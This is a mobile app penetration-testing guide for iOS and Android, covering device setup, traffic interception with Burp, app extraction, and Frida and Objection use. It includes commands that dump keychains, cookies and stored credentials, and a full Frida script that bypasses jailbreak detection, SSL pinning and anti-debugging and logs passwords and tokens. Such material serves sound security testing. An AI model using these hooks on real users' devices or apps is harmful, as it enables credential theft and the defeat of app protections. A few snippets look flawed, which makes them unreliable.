Mobile Application Penetration Testing (VAPT) Notes - Enhanced Edition#
iOS Penetration Testing#
Environment Setup#
Jailbreaking iOS Device#
Online Check: Use https://canijailbreak.com/ to determine if a specific iOS version is jailbreakable.
Common Jailbreak Tools (selection depends on iOS version and device model):
- unc0ver: iOS 11 - 14.8, untethered/semi-untethered
- Palera1n / checkra1n: A11 and older devices, newer iOS versions via checkm8 exploit (semi-tethered/tethered)
- TrollStore: Not a full jailbreak, allows permanent IPA sideloading on specific iOS versions via CoreTrust bug
- Odyssey/Chimera: iOS 12/13, using libhooker
- rootlessJB: iOS 12.0-12.1.2 for A12+ devices
Steps to Jailbreak:
- Download appropriate jailbreak tool for your iOS version
- Follow tool-specific instructions (usually involves sideloading via Xcode/AltStore)
- Run jailbreak application on device
- Install package manager (Cydia/Sileo/Zebra)
Installing Essential Tools on Jailbroken iOS Device#
Prerequisites: Ensure Cydia/Sileo/Zebra (package manager) is installed after jailbreaking.
Adding Repositories:
# Essential Repositories to add in Cydia/Sileo/Zebra:
https://cydia.akemi.ai/ # Akemi's Repo
https://build.frida.re # Frida Repo
https://repo.chariz.com/ # Chariz Repo
http://apt.thebigboss.org/repofiles/cydia/ # BigBoss Repo
https://repo.packix.com/ # Packix (legacy)
SSH Access Setup#
Install OpenSSH:
- Open Cydia/Sileo/Zebra
- Search for “OpenSSH”
- Install the package
Configure SSH:
# CRITICAL: Change default passwords immediately after SSH installation
# Default root password is 'alpine' - this is a major security risk!
# SSH into device and change passwords:
ssh root@<iOS_DEVICE_IP_ADDRESS>
# Change root password:
passwd root
# Enter new secure password when prompted
# Change mobile user password:
passwd mobile
# Enter new secure password when prompted
# Find Device IP:
# Settings > Wi-Fi > tap (i) icon next to connected network
# SSH via USB (using iproxy - more stable than WiFi):
# Install usbmuxd tools first:
# macOS: brew install libimobiledevice
# Linux: sudo apt install usbmuxd libimobiledevice-tools
# Forward SSH port via USB:
iproxy 2222 22
# SSH via USB tunnel:
ssh root@localhost -p 2222
# Forward additional ports for tools:
iproxy 8080 8080 # For Burp Suite proxy
iproxy 27042 27042 # For Frida server
Frida Installation & Setup#
Method 1: Via Package Manager (Recommended)
- Add Frida repository:
https://build.frida.re
- Search for “Frida” and install
- Frida server should start automatically
Method 2: Manual Installation
# Download appropriate Frida version from GitHub releases
# For iOS ARM64 devices:
wget https://github.com/frida/frida/releases/download/16.1.8/frida-server-16.1.8-ios-arm64.xz
# Extract and transfer to device:
unxz frida-server-16.1.8-ios-arm64.xz
scp frida-server-16.1.8-ios-arm64 root@<iOS_DEVICE_IP>:/usr/sbin/frida-server
# SSH into device and set permissions:
ssh root@<iOS_DEVICE_IP>
chmod 755 /usr/sbin/frida-server
# Start Frida server:
/usr/sbin/frida-server -l 0.0.0.0 &
# Verify Frida is running:
ps aux | grep frida
Install Frida Tools on Computer:
# Install Frida command line tools:
pip3 install frida-tools
# Verify connection from computer:
frida-ps -U # List processes on USB-connected device
frida-ps -H <iOS_DEVICE_IP> # List processes on network-connected device
# Test with simple script:
frida-ps -Uai # List installed applications with bundle IDs
Additional Essential Tools#
Install via Package Manager:
# Essential tools to install from Cydia/Sileo/Zebra:
# - Filza File Manager (filesystem browser)
# - NewTerm (terminal emulator)
# - AppList (for app management)
# - PreferenceLoader (for tweak settings)
# - Substitute or Substrate (injection framework)
MobSF (Mobile Security Framework) Setup:
# Run MobSF in Docker (recommended):
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# Access MobSF web interface:
# Browse to: http://localhost:8000
# Default credentials: mobsf:mobsf
# Alternative: Install directly
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh # For Linux/macOS
python manage.py runserver 0.0.0.0:8000
Objection Installation:
# Install objection:
pip3 install objection
# Verify installation:
objection version
# Basic usage:
objection -g <bundle_id> explore
Additional Useful Tools:
# iOS App Installer/Manager tools:
brew install libimobiledevice # macOS
sudo apt install libimobiledevice-tools # Linux
# ideviceinstaller for IPA installation:
ideviceinstaller -l # List installed apps
ideviceinstaller -i app.ipa # Install IPA file
# 3uTools (Windows GUI alternative for device management)
# Download from: https://www.3u.com/
Traffic Interception (Burp Suite) Setup#
Step 1: Configure Burp Suite Proxy
# In Burp Suite:
# 1. Go to Proxy > Options
# 2. Under Proxy Listeners, click 'Add'
# 3. Set Bind to port: 8080
# 4. Set Bind to address: All interfaces
# 5. Click OK
Step 2: Configure iOS Device Proxy
# On iOS device:
# 1. Settings > Wi-Fi
# 2. Tap (i) icon next to connected network
# 3. Scroll to HTTP Proxy > Manual
# 4. Server: <COMPUTER_IP_ADDRESS>
# 5. Port: 8080
# 6. Authentication: OFF
# Alternative: Set proxy via command line (jailbroken device):
# SSH into device and modify network settings:
sudo defaults write /Library/Preferences/SystemConfiguration/preferences.plist \
HTTPProxy -dict-add HTTPEnable -int 1
sudo defaults write /Library/Preferences/SystemConfiguration/preferences.plist \
HTTPProxy -dict-add HTTPProxy -string "<COMPUTER_IP>"
sudo defaults write /Library/Preferences/SystemConfiguration/preferences.plist \
HTTPProxy -dict-add HTTPPort -int 8080
Step 3: Install Burp CA Certificate
# Method 1: Via Safari (Standard)
# 1. Open Safari on iOS device
# 2. Browse to: http://burp
# 3. Click 'CA Certificate' to download cacert.der
# 4. Allow profile download when prompted
# 5. Settings > General > Profile > Install PortSwigger CA
# 6. Settings > General > About > Certificate Trust Settings
# 7. Enable full trust for PortSwigger CA
# Method 2: Manual installation for problematic apps
# Export certificate from Burp as DER format
openssl x509 -inform DER -in cacert.der -out cacert.pem
# Convert to mobile config format using online tools or:
# Apple Configurator 2 (macOS) to create configuration profile
Step 4: Verify Traffic Interception
# Test HTTPS traffic interception:
# 1. Open Safari and visit https://www.google.com
# 2. Check Burp Suite HTTP history for captured requests
# 3. If not working, check certificate trust settings again
# Troubleshooting:
# - Ensure certificate is properly trusted
# - Check proxy settings are correct
# - Verify Burp is listening on correct interface
# - For stubborn apps, may need SSL pinning bypass
Application Extraction and Analysis#
Obtaining IPA Files from Jailbroken Device#
Method 1: Using frida-ios-dump (Recommended)
# Clone and setup frida-ios-dump:
git clone https://github.com/AloneMonkey/frida-ios-dump.git
cd frida-ios-dump
pip3 install -r requirements.txt --upgrade
# Ensure Frida server is running on iOS device:
ssh root@<iOS_DEVICE_IP>
/usr/sbin/frida-server -l 0.0.0.0 &
# List available applications:
frida-ps -Uai # Shows bundle IDs and app names
# Dump IPA file:
# Via USB connection:
./dump.py <APP_NAME_OR_BUNDLE_ID> -u root -P <ROOT_PASSWORD>
# Via network:
./dump.py <APP_NAME_OR_BUNDLE_ID> -H <iOS_DEVICE_IP>
# Examples:
./dump.py Instagram
./dump.py com.burbn.instagram
./dump.py "App Store" # Use quotes for apps with spaces
# The dumped IPA will be saved in the current directory
Method 2: Using flexdecrypt (Alternative for encrypted apps)
# Install flexdecrypt via Cydia/Sileo
# SSH into device:
ssh root@<iOS_DEVICE_IP>
# Find app executable:
find /var/containers/Bundle/Application -name "*.app" | grep -i <app_name>
# Decrypt executable:
flexdecrypt /var/containers/Bundle/Application/<UUID>/<AppName>.app/<ExecutableName>
# Create IPA manually:
cd /var/containers/Bundle/Application/<UUID>/
zip -r <AppName>.ipa Payload/
scp <AppName>.ipa <your_computer>:~/
Method 3: Manual Extraction via SSH
# SSH into device:
ssh root@<iOS_DEVICE_IP>
# Find application bundle:
find /var/containers/Bundle/Application -name "*.app" -type d | head -20
# For specific app:
find /var/containers/Bundle/Application -name "*WhatsApp*" -type d
# Create IPA structure:
mkdir -p /tmp/Payload
APP_PATH=$(find /var/containers/Bundle/Application -name "*AppName*.app" | head -1)
cp -r "$APP_PATH" /tmp/Payload/
# Create IPA:
cd /tmp
zip -r AppName.ipa Payload/
# Transfer to computer:
scp /tmp/AppName.ipa <user>@<computer_ip>:~/Desktop/
Installing IPA Files on Jailbroken Device#
Method 1: Using ideviceinstaller
# Install libimobiledevice tools:
# macOS: brew install libimobiledevice
# Linux: sudo apt install libimobiledevice-tools
# List connected devices:
idevice_id -l
# Install IPA:
ideviceinstaller -i <path_to_app.ipa>
# Uninstall app:
ideviceinstaller -U <bundle_id>
# List installed apps:
ideviceinstaller -l
Method 2: Using Cydia Impactor (Legacy)
# Download Cydia Impactor from: http://www.cydiaimpactor.com/
# Drag and drop IPA file onto Cydia Impactor
# Enter Apple ID credentials when prompted
# App will be installed with 7-day certificate
Method 3: Using TrollStore (iOS 14.0-15.4.1)
# Install TrollStore using appropriate method for your iOS version
# Open TrollStore app
# Tap + button and select IPA file
# Apps installed via TrollStore are permanently signed
Static Analysis#
Automated Analysis with MobSF#
Steps:
- Ensure MobSF is running:
http://localhost:8000
- Drag and drop IPA file into MobSF interface
- Wait for analysis to complete (may take several minutes)
- Review generated report
Key Areas to Review in MobSF Report:
Binary Analysis:
# MobSF automatically checks for:
# - PIE (Position Independent Executable): Should be enabled
# - ARC (Automatic Reference Counting): Should be enabled
# - Stack Canaries: Should be enabled (__stack_chk_guard present)
# - Binary Encryption: cryptid should be 1 for App Store apps
# - Banned APIs: Usage of insecure functions
# - Weak Cryptography: MD5, SHA1, DES, RC4 usage
Security Features:
- App Transport Security (ATS): Check for
NSAllowsArbitraryLoads = YES
(major security flaw) - URL Schemes: Custom schemes that may be vulnerable to deep link attacks
- Permissions: Excessive or unnecessary permissions in Info.plist
- Hardcoded Secrets: API keys, credentials, URLs, encryption keys
Files of Interest:
# MobSF identifies sensitive files:
# - Database files (.sqlite, .db)
# - Configuration files (.plist)
# - Certificate/key files (.pem, .crt, .key)
# - Cache and preference files
# - Custom data formats
Manual Static Analysis#
Extract IPA for Manual Analysis:
# Rename IPA to ZIP and extract:
cp app.ipa app.zip
unzip app.zip
cd Payload/AppName.app/
# Key files to examine:
ls -la
# Look for:
# - Info.plist (app configuration)
# - Main executable (same name as .app folder)
# - *.plist files (preferences, configurations)
# - *.sqlite/*.db files (databases)
# - Assets.car (compiled asset catalog)
# - Frameworks/ (embedded frameworks)
Binary Protection Analysis:
# Find main executable:
MAIN_EXEC=$(ls -1 | grep -v '\.' | head -1)
echo "Main executable: $MAIN_EXEC"
# Check ASLR/PIE (Position Independent Executable):
otool -hv "$MAIN_EXEC" | grep PIE
# Expected: PIE flag should be present
# Check Stack Canaries (Stack Smashing Protection):
otool -I -v "$MAIN_EXEC" | grep stack
# Expected: __stack_chk_guard and __stack_chk_fail should be present
# Check ARC (Automatic Reference Counting):
otool -I -v "$MAIN_EXEC" | grep objc_release
# Expected: _objc_release symbol should be present
# Check Binary Encryption (FairPlay DRM):
otool -arch all -Vl "$MAIN_EXEC" | grep -A5 LC_ENCRYPT
# Expected: cryptid = 1 for App Store apps, 0 for jailbroken dumps
# Check for weak crypto functions:
otool -I -v "$MAIN_EXEC" | grep -E "_CC_MD5|_CC_SHA1|_DES_|_RC4_"
# Check for insecure memory functions:
otool -I -v "$MAIN_EXEC" | grep -E "_gets|_strcpy|_strcat|_sprintf|_vsprintf"
# Check for debugging symbols:
otool -I -v "$MAIN_EXEC" | grep -E "_NSLog|_printf"
Info.plist Analysis:
# Convert binary plist to XML if needed:
plutil -convert xml1 Info.plist -o Info.xml
# Or use plistutil:
plistutil -i Info.plist -o Info.xml
# Key security-relevant entries to examine:
grep -A 2 -B 2 -E "(CFBundleURLSchemes|NSAllowsArbitraryLoads|UIFileSharingEnabled|NSAppTransportSecurity)" Info.xml
# Extract and analyze specific values:
plutil -extract CFBundleURLTypes json Info.plist # URL schemes
plutil -extract NSAppTransportSecurity json Info.plist # ATS config
plutil -extract UIFileSharingEnabled json Info.plist # File sharing
Critical Info.plist Keys:
<!-- Dangerous configurations: -->
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true/> <!-- CRITICAL: Allows HTTP connections -->
</dict>
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLSchemes</key>
<array>
<string>myapp</string> <!-- Custom URL scheme -->
</array>
</dict>
</array>
<key>UIFileSharingEnabled</key>
<true/> <!-- Allows iTunes file access -->
<key>LSSupportsOpeningDocumentsInPlace</key>
<true/> <!-- Document access -->
Filesystem Analysis:
# Search for sensitive files and content:
find . -name "*.plist" -exec echo "=== {} ===" \; -exec cat {} \;
find . -name "*.sqlite*" -o -name "*.db"
find . -name "*.pem" -o -name "*.crt" -o -name "*.key" -o -name "*.p12"
# Search for hardcoded secrets:
grep -r -i -E "(password|secret|key|token|api_key|firebase|credential|auth)" .
grep -r -E "[0-9a-f]{32,}" . # Look for potential hashes/keys
grep -r -E "(https?://|ftp://)" . # URLs
grep -r -E "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" . # Emails
# Search for crypto-related terms:
grep -r -i -E "(encrypt|decrypt|cipher|crypto|hash|salt|iv)" .
# Search for database queries:
grep -r -i -E "(select|insert|update|delete|drop|create)" .
React Native Bundle Analysis (if applicable):
# Check if app uses React Native:
find . -name "main.jsbundle" -o -name "*.bundle"
# Decompile React Native bundle:
npm install -g react-native-decompiler
# Decompile bundle:
npx react-native-decompiler -i main.jsbundle -o ./decompiled_js
# Analyze decompiled JavaScript:
cd decompiled_js
grep -r -E "(fetch|XMLHttpRequest|AsyncStorage|localStorage)" .
grep -r -i -E "(password|secret|key|token|api)" .
grep -r -E "(https?://)" . # API endpoints
Dynamic Analysis#
Frida Basic Usage#
Connection Setup:
# List devices:
frida-ls-devices
# List processes on device:
frida-ps -U # Via USB
frida-ps -H <DEVICE_IP> # Via network
# List installed applications:
frida-ps -Uai
# Attach to running app:
frida -U <bundle_id>
frida -U <process_name>
# Spawn app and attach:
frida -U -f <bundle_id> --no-pause
# Load script and attach:
frida -U -l script.js <bundle_id>
# Interactive REPL:
frida -U <bundle_id>
Basic Frida Commands:
// In Frida REPL:
// List loaded modules:
Process.enumerateModules()
// Find module by name:
Process.getModuleByName("AppName")
// List classes (Objective-C):
ObjC.classes
// Search for classes:
Object.keys(ObjC.classes).filter(c => c.includes("Login"))
// Get class methods:
ObjC.classes.LoginManager.$methods
// Hook a method:
var LoginManager = ObjC.classes.LoginManager;
LoginManager["- authenticateUser:password:"].implementation = function(user, pass) {
console.log("Login attempt: " + user + " / " + pass);
return this.authenticateUser_password_(user, pass);
}
// Call original method and get result:
var result = this.authenticateUser_password_(user, pass);
console.log("Login result: " + result);
return result;
Objection Usage#
Basic Connection:
# Connect to app:
objection -g <bundle_id> explore
# Examples:
objection -g com.apple.mobilesafari explore
objection -g Instagram explore
# Spawn app and connect:
objection -g <bundle_id> explore --startup-command "ios sslpinning disable"
Common Objection Commands:
Bypass Security Controls:
# Disable SSL pinning:
ios sslpinning disable
ios sslpinning disable --quiet
# Disable jailbreak detection:
ios jailbreak disable
# Simulate jailbreak detection bypass:
ios jailbreak simulate
Environment Information:
# Get app information:
env
# List loaded frameworks:
ios bundles list_frameworks
# Get application directory paths:
env | grep -E "(Documents|Library|tmp)"
Data Extraction:
# NSUserDefaults (user preferences):
ios nsuserdefaults get
# Keychain dump:
ios keychain dump
ios keychain dump --json # JSON format
# Cookies:
ios cookies get
# NSURLCredentialStorage:
ios nsurlcredentialstorage dump
# Clipboard:
ios clipboard get
Filesystem Operations:
# List files:
ios filesystem ls <path>
ios filesystem ls /var/mobile/Containers/Data/Application/<UUID>/Documents/
# Read file:
ios filesystem cat <path>
# Download file:
ios filesystem download <remote_path> <local_path>
# Upload file:
ios filesystem upload <local_path> <remote_path>
Class and Method Hooking:
# Search for classes:
ios hooking search classes "keyword"
ios hooking search classes "login"
ios hooking search classes "crypto"
ios hooking search classes "auth"
# List class methods:
ios hooking list class_methods <ClassName>
ios hooking list class_methods NSURLSession
# Watch method calls:
ios hooking watch class_method "+[NSURLSession sessionWithConfiguration:]" --dump-args --dump-return
ios hooking watch class_method "-[LoginManager authenticateUser:password:]" --dump-args
# Set return value:
ios hooking set return_value "-[JailbreakDetector isJailbroken]" false
ios hooking set return_value "-[AuthManager isAuthenticated]" true
# Monitor all methods in a class:
ios hooking watch class NSURLSession
SQLite Database Interaction:
# Connect to database:
ios sqlite connect <path_to_db>
ios sqlite connect /var/mobile/Containers/Data/Application/<UUID>/Documents/database.sqlite
# Once connected, run SQL queries:
sqlite> .tables
sqlite> .schema users
sqlite> SELECT * FROM users;
sqlite> SELECT username, password_hash FROM users WHERE admin=1;
Advanced Frida Scripting#
Comprehensive iOS Security Bypass Script:
// ios_security_bypass.js
function main() {
console.log("[+] iOS Security Bypass Script Loading...");
// === Jailbreak Detection Bypass ===
bypassJailbreakDetection();
// === SSL Pinning Bypass ===
bypassSSLPinning();
// === Anti-Debugging Bypass ===
bypassAntiDebugging();
// === Data Extraction Hooks ===
hookSensitiveDataMethods();
console.log("[+] All hooks installed successfully!");
}
function bypassJailbreakDetection() {
console.log("[*] Installing jailbreak detection bypasses...");
// Hook file existence checks
var NSFileManager = ObjC.classes.NSFileManager;
var defaultManager = NSFileManager.defaultManager();
// Common jailbreak detection files
var jailbreakFiles = [
"/Applications/Cydia.app",
"/Applications/Sileo.app",
"/bin/bash",
"/usr/sbin/sshd",
"/etc/apt",
"/private/var/lib/apt/",
"/var/cache/apt",
"/var/lib/cydia",
"/var/mobile/Library/Preferences/com.saurik.Cydia.plist",
"/Library/MobileSubstrate/MobileSubstrate.dylib",
"/usr/bin/ssh",
"/var/lib/undecimus/auto_install"
];
// Hook fileExistsAtPath:
var originalFileExists = defaultManager.fileExistsAtPath_;
Interceptor.attach(originalFileExists.implementation, {
onEnter: function(args) {
this.filePath = ObjC.Object(args[2]).toString();
},
onLeave: function(retval) {
if (jailbreakFiles.includes(this.filePath)) {
console.log("[*] Blocked jailbreak detection for: " + this.filePath);
retval.replace(ptr("0x0"));
}
}
});
// Hook canOpenURL for Cydia/Sileo schemes
var UIApplication = ObjC.classes.UIApplication;
var sharedApp = UIApplication.sharedApplication();
var originalCanOpenURL = sharedApp.canOpenURL_;
Interceptor.attach(originalCanOpenURL.implementation, {
onEnter: function(args) {
this.url = ObjC.Object(args[2]).toString();
},
onLeave: function(retval) {
if (this.url.includes("cydia://") || this.url.includes("sileo://")) {
console.log("[*] Blocked URL scheme detection: " + this.url);
retval.replace(ptr("0x0"));
}
}
});
// Hook fork() and ptrace() system calls
var fork = Module.findExportByName("libsystem_c.dylib", "fork");
if (fork) {
Interceptor.replace(fork, new NativeCallback(function() {
console.log("[*] Blocked fork() call");
return -1;
}, 'int', []));
}
}
function bypassSSLPinning() {
console.log("[*] Installing SSL pinning bypasses...");
// Method 1: Hook SecTrustEvaluate
var SecTrustEvaluate = Module.findExportByName("Security", "SecTrustEvaluate");
if (SecTrustEvaluate) {
Interceptor.replace(SecTrustEvaluate, new NativeCallback(function(trust, result) {
console.log("[*] SSL Pinning Bypass: SecTrustEvaluate");
Memory.writeU32(result, 1); // kSecTrustResultProceed
return 0; // errSecSuccess
}, 'int', ['pointer', 'pointer']));
}
// Method 2: Hook NSURLSession delegate methods
try {
var NSURLSessionTaskDelegate = ObjC.protocols.NSURLSessionTaskDelegate;
var method = NSURLSessionTaskDelegate["- URLSession:task:didReceiveChallenge:completionHandler:"];
if (method) {
Interceptor.attach(method.implementation, {
onEnter: function(args) {
console.log("[*] SSL Pinning Bypass: NSURLSessionTaskDelegate");
var challenge = ObjC.Object(args[4]);
var completionHandler = new ObjC.Block(args[5]);
var credential = ObjC.classes.NSURLCredential.credentialForTrust_(challenge.protectionSpace().serverTrust());
completionHandler.implementation(1, credential); // NSURLSessionAuthChallengeUseCredential
}
});
}
} catch (e) {
console.log("[!] NSURLSessionTaskDelegate hook failed: " + e.message);
}
// Method 3: Hook common pinning libraries
hookAFNetworking();
hookAlamofire();
}
function hookAFNetworking() {
try {
var AFNetworkReachabilityManager = ObjC.classes.AFNetworkReachabilityManager;
if (AFNetworkReachabilityManager) {
var setSSLPinningMode = AFNetworkReachabilityManager["- setSSLPinningMode:"];
if (setSSLPinningMode) {
Interceptor.attach(setSSLPinningMode.implementation, {
onEnter: function(args) {
console.log("[*] AFNetworking SSL Pinning disabled");
args[2] = ptr("0x0"); // AFSSLPinningModeNone
}
});
}
}
} catch (e) {
console.log("[!] AFNetworking hook failed: " + e.message);
}
}
function hookAlamofire() {
// Hook Alamofire's ServerTrustManager if present
try {
var ServerTrustManager = ObjC.classes.ServerTrustManager;
if (ServerTrustManager) {
console.log("[*] Found Alamofire ServerTrustManager - implementing bypass");
// Implementation depends on Alamofire version
}
} catch (e) {
console.log("[!] Alamofire hook failed: " + e.message);
}
}
function bypassAntiDebugging() {
console.log("[*] Installing anti-debugging bypasses...");
// Hook ptrace
var ptrace = Module.findExportByName("libsystem_kernel.dylib", "ptrace");
if (ptrace) {
Interceptor.replace(ptrace, new NativeCallback(function(request, pid, addr, data) {
console.log("[*] ptrace called with request: " + request);
if (request == 31) { // PT_DENY_ATTACH
console.log("[*] Blocked PT_DENY_ATTACH");
return 0;
}
return 0; // Block all ptrace calls
}, 'int', ['int', 'int', 'pointer', 'pointer']));
}
// Hook sysctl for debugger detection
var sysctl = Module.findExportByName("libsystem_c.dylib", "sysctl");
if (sysctl) {
Interceptor.attach(sysctl, {
onEnter: function(args) {
var name = Memory.readS32(args[0]);
if (name == 1 && Memory.readS32(args[0].add(4)) == 14) { // CTL_KERN, KERN_PROC
console.log("[*] Blocked sysctl debugger detection");
this.modify = true;
}
},
onLeave: function(retval) {
if (this.modify) {
retval.replace(ptr("-1"));
}
}
});
}
}
function hookSensitiveDataMethods() {
console.log("[*] Installing sensitive data hooks...");
// Hook NSString stringWithFormat for logging
var NSString = ObjC.classes.NSString;
var originalStringWithFormat = NSString.stringWithFormat_;
Interceptor.attach(originalStringWithFormat.implementation, {
onEnter: function(args) {
try {
var format = ObjC.Object(args[2]).toString();
if (format.toLowerCase().includes("password") ||
format.toLowerCase().includes("token") ||
format.toLowerCase().includes("secret")) {
console.log("[*] Sensitive data in NSString format: " + format);
}
} catch (e) {}
}
});
// Hook NSUserDefaults for sensitive storage
var NSUserDefaults = ObjC.classes.NSUserDefaults;
var setObjectForKey = NSUserDefaults.prototype["- setObject:forKey:"];
Interceptor.attach(setObjectForKey.implementation, {
onEnter: function(args) {
try {
var key = ObjC.Object(args[3]).toString();
var value = ObjC.Object(args[2]).toString();
if (key.toLowerCase().includes("password") ||
key.toLowerCase().includes("token") ||
key.toLowerCase().includes("secret") ||
key.toLowerCase().includes("key")) {
console.log("[*] NSUserDefaults - Key: " + key + ", Value: " + value);
}
} catch (e) {}
}
});
// Hook Keychain operations
hookKeychainOperations();
// Hook network requests
hookNetworkRequests();
}
function hookKeychainOperations() {
console.log("[*] Hooking Keychain operations...");
// Hook SecItemAdd
var SecItemAdd = Module.findExportByName("Security", "SecItemAdd");
if (SecItemAdd) {
Interceptor.attach(SecItemAdd, {
onEnter: function(args) {
console.log("[*] Keychain: SecItemAdd called");
// args[0] is CFDictionaryRef attributes
// Could parse and log keychain attributes here
}
});
}
// Hook SecItemCopyMatching
var SecItemCopyMatching = Module.findExportByName("Security", "SecItemCopyMatching");
if (SecItemCopyMatching) {
Interceptor.attach(SecItemCopyMatching, {
onEnter: function(args) {
console.log("[*] Keychain: SecItemCopyMatching called");
}
});
}
}
function hookNetworkRequests() {
console.log("[*] Hooking network requests...");
// Hook NSURLRequest
var NSMutableURLRequest = ObjC.classes.NSMutableURLRequest;
var setHTTPBody = NSMutableURLRequest.prototype["- setHTTPBody:"];
Interceptor.attach(setHTTPBody.implementation, {
onEnter: function(args) {
try {
var httpBody = ObjC.Object(args[2]);
var bodyString = ObjC.classes.NSString.alloc().initWithData_encoding_(httpBody, 4);
console.log("[*] HTTP Body: " + bodyString.toString());
} catch (e) {}
}
});
// Hook NSURLResponse
var NSHTTPURLResponse = ObjC.classes.NSHTTPURLResponse;
if (NSHTTPURLResponse) {
var allHeaderFields = NSHTTPURLResponse.prototype["- allHeaderFields"];
Interceptor.attach(allHeaderFields.implementation, {
onLeave: function(retval) {
try {
var headers = ObjC.Object(retval);
console.log("[*] Response Headers: " + headers.toString());
} catch (e) {}
}
});
}
}
// Initialize the script
if (ObjC.available) {
main();
} else {
console.log("[!] Objective-C Runtime not available");
}
Usage:
# Save script as ios_security_bypass.js
# Run with target app:
frida -U -f <bundle_id> -l ios_security_bypass.js --no-pause
# Or attach to running app:
frida -U <bundle_id> -l ios_security_bypass.js
Android Penetration Testing#
Environment Setup#
ADB (Android Debug Bridge) Setup#
Enable Developer Options & USB Debugging:
# On Android device:
# 1. Settings > About Phone
# 2. Tap "Build Number" 7 times to enable Developer Options
# 3. Settings > Developer Options > USB Debugging (Enable)
# 4. Connect device via USB and accept RSA fingerprint
# Verify connection:
adb devices
# Expected output: <device_id> device
# If unauthorized, check device for RSA key acceptance dialog
ADB over WiFi Setup (Android 11+):
# Method 1: Wireless Debugging (Android 11+)
# 1. Enable "Wireless Debugging" in Developer Options
# 2. Tap "Pair device with pairing code"
# 3. Note the IP address and port
# On computer:
adb pair <DEVICE_IP>:<PAIRING_PORT>
# Enter pairing code when prompted
# Connect for debugging:
adb connect <DEVICE_IP>:<DEBUGGING_PORT>
# Method 2: Traditional WiFi ADB (requires USB first)
adb tcpip 5555
adb connect <DEVICE_IP>:5555
adb disconnect # Disconnect USB cable
Emulator Setup:
# Using Android Studio AVD:
# 1. Create AVD with desired Android version
# 2. Start emulator with writable system:
emulator -avd <AVD_NAME> -writable-system -no-snapshot-load
# Alternative: Using command line
emulator -list-avds
emulator -avd Pixel_6_API_30 -writable-system
# Enable root access on emulator:
adb root
adb remount
# If AVB (Android Verified Boot) enabled:
adb shell avbctl disable-verification
adb reboot
adb root
adb remount
Essential ADB Commands:
# Device management:
adb devices -l # List devices with details
adb shell getprop ro.build.version.release # Android version
adb shell getprop ro.product.model # Device model
# Package management:
adb install app.apk # Install APK
adb install -r app.apk # Reinstall/update APK
adb uninstall <package_name> # Uninstall app
adb shell pm list packages # List all packages
adb shell pm list packages -3 # List user-installed packages
adb shell pm list packages -s # List system packages
adb shell pm path <package_name> # Get APK path
# File operations:
adb push <local_file> <remote_path> # Upload file
adb pull <remote_path> <local_file> # Download file
adb shell ls /data/data/ # List app data directories
# Process and activity management:
adb shell am force-stop <package_name> # Stop app
adb shell am start -n <package>/<activity> # Start activity
adb shell am start -a android.intent.action.VIEW -d "http://example.com"
# Log monitoring:
adb logcat # View system logs
adb logcat | grep <package_name> # Filter logs by package
adb logcat -c # Clear log buffer
# Network and proxy:
adb shell settings put global http_proxy <IP>:<PORT>
adb shell settings delete global http_proxy
# Screen and input:
adb shell screencap /sdcard/screen.png # Take screenshot
adb shell input text "Hello World" # Input text
adb shell input keyevent 82 # Menu key
adb shell input tap 500 1000 # Tap coordinates
Setting Up Burp Proxy & Certificate on Android#
Configure Burp Suite:
# In Burp Suite:
# 1. Proxy > Options > Proxy Listeners
# 2. Add listener: Port 8080, Bind to all interfaces
# 3. Ensure "Support invisible proxying" is checked for some apps
Configure Android Device Proxy:
# Manual proxy configuration:
# 1. Settings > Network & Internet > Wi-Fi
# 2. Long press connected network > Modify network
# 3. Advanced options > Proxy > Manual
# 4. Hostname: <COMPUTER_IP>, Port: 8080
# Command line proxy (requires root):
adb shell settings put global http_proxy <COMPUTER_IP>:8080
adb shell settings put global https_proxy <COMPUTER_IP>:8080
# Verify proxy settings:
adb shell settings get global http_proxy
Install Burp CA Certificate:
Method 1: User Certificate (Limited to user apps on Android 7+)
# 1. Export Burp CA certificate (DER format)
# 2. Transfer to device:
adb push cacert.der /sdcard/Download/
# 3. Install via Settings:
# Settings > Security > Install from storage > Download/cacert.der
# Choose "WiFi certificates" when prompted
Method 2: System Certificate (Requires Root)
# Export Burp CA in DER format, convert to PEM:
openssl x509 -inform DER -in cacert.der -out cacert.pem
# Get certificate hash:
CERT_HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1)
echo "Certificate hash: $CERT_HASH"
# Rename certificate:
cp cacert.pem "${CERT_HASH}.0"
# Install on rooted device/emulator:
adb root
adb remount
adb push "${CERT_HASH}.0" /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/${CERT_HASH}.0
adb reboot
# Verify installation:
adb shell ls -la /system/etc/security/cacerts/ | grep $CERT_HASH
Method 3: Magisk Module (For Magisk-rooted devices)
# Use Magisk modules like:
# - "MagiskTrustUserCerts" - Makes user certificates system-trusted
# - "Burp Certificate" - Automatically installs Burp certificate
# Install via Magisk Manager:
# 1. Open Magisk Manager
# 2. Modules > Download > Search for certificate module
# 3. Install and reboot
Frida Installation on Android#
Install Frida Server on Android:
# Download appropriate Frida server for your architecture:
# Check device architecture:
adb shell getprop ro.product.cpu.abi
# Download from: https://github.com/frida/frida/releases
# For most modern devices (ARM64):
wget https://github.com/frida/frida/releases/download/16.1.8/frida-server-16.1.8-android-arm64.xz
# Extract and push to device:
unxz frida-server-16.1.8-android-arm64.xz
adb push frida-server-16.1.8-android-arm64 /data/local/tmp/frida-server
adb shell chmod 755 /data/local/tmp/frida-server
# Start Frida server (requires root):
adb shell su -c "/data/local/tmp/frida-server &"
# Alternative: Non-root startup (limited functionality):
adb shell "/data/local/tmp/frida-server &"
# Verify Frida server is running:
adb shell ps | grep frida-server
# Forward Frida port:
adb forward tcp:27042 tcp:27042
Install Frida Tools on Computer:
# Install Frida command-line tools:
pip3 install frida-tools
# Verify installation:
frida --version
# Test connection:
frida-ps -U # List processes via USB
frida-ps -H <DEVICE_IP> # List processes via network
# List installed applications:
frida-ps -Uai
Automate Frida Server Startup:
# Create startup script:
cat > start_frida.sh << 'EOF'
#!/bin/bash
adb shell su -c "killall frida-server 2>/dev/null"
